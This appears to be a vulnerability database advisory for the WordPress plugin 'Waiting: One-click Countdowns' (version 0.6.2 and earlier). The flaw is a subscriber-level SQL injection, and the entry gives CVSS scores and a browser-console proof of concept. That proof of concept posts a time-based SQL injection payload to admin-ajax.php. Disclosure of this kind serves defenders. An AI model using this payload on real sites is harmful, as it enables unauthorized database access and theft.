Lucene search

K
wpvulndbWpvulndbWPVDB-ID:C89EAE1A-B8D8-4AF1-BD6D-5A9A326FAAD6
HistoryMar 22, 2023 - 12:00 a.m.

Waiting: One-click Countdowns <= 0.6.2 - Subscriber+ SQLi

2023-03-2200:00:00
wpscan.com
9
one-click countdowns
sql injection
ajax action

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

0.001 Low

EPSS

Percentile

31.1%

The plugin does not properly sanitise and escape the pbc_down[meta][id] parameter before using it in a SQL statement via the pbc_save_downs AJAX action, leading to a SQL injection exploitable by any authenticated users, such as subscriber

PoC

Run the below command in the developer console of the web browser while being on the blog as subscriber user fetch(“/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “method”: “POST”, “body”: ‘action=pbc_save_downs&pbc;_down[meta][id]=1+OR+(SELECT+1+FROM+(SELECT(SLEEP(1)))a)–’, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data));

CPENameOperatorVersion
waitingeq*

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

0.001 Low

EPSS

Percentile

31.1%

Related for WPVDB-ID:C89EAE1A-B8D8-4AF1-BD6D-5A9A326FAAD6